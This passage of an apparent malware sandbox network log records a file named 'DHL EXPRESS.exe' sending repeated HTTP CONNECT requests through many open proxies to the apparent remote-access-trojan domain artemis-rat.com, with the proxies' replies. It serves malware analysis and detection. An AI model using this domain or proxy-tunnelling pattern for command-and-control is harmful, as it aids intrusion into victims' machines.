Mar 11, 2024 18:36:54.014759064 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1671	192.168.2.8	54776	104.16.108.234	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.860239983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.014636993 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1672	192.168.2.8	54661	203.112.134.74	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.860507965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1673	192.168.2.8	54701	94.177.106.178	2324	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.861449003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1674	192.168.2.8	54797	104.19.120.84	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.861582994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.015974045 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1675	192.168.2.8	54702	103.174.102.127	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.861720085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.769011021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.957432985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.269150972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.956624985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.566123962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.268899918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:21.456367970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:39.784459114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1676	192.168.2.8	54816	172.67.250.212	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.865895987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.019998074 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1677	192.168.2.8	54811	162.159.242.252	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.867362976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.028633118 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1678	192.168.2.8	53748	70.166.167.38	57728	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.870162964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1679	192.168.2.8	54822	45.14.174.148	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.870189905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.024645090 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1680	192.168.2.8	54667	79.110.202.131	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.902395010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1681	192.168.2.8	54781	162.241.53.72	53755	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.902998924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.409837961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.036577940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.206685066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.571666956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.909881115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.409717083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:08.097440958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.409496069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1682	192.168.2.8	54750	18.117.144.248	9080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.903000116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.126972914 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:54 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1683	192.168.2.8	54928	45.144.30.232	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.903198004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1684	192.168.2.8	54874	104.20.75.132	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.903912067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.058343887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1685	192.168.2.8	54398	212.110.188.193	34409	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.904227972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.909742117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.003772974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.093667030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:18.192074060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:30.207477093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:42.206306934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:06.206377029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:54.206352949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1686	192.168.2.8	54825	52.13.248.29	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.904242039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.097654104 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:53 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1687	192.168.2.8	54780	45.196.151.97	5432	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.904442072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.124967098 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1688	192.168.2.8	54389	103.113.71.230	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.907852888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.909827948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.003808022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.093722105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:18.192112923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:30.206324100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1689	192.168.2.8	54820	162.254.38.202	24000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.908318043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1690	192.168.2.8	54973	45.144.30.232	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.908423901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1691	192.168.2.8	54720	58.234.116.197	8193	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.909619093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1692	192.168.2.8	54974	45.144.30.232	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
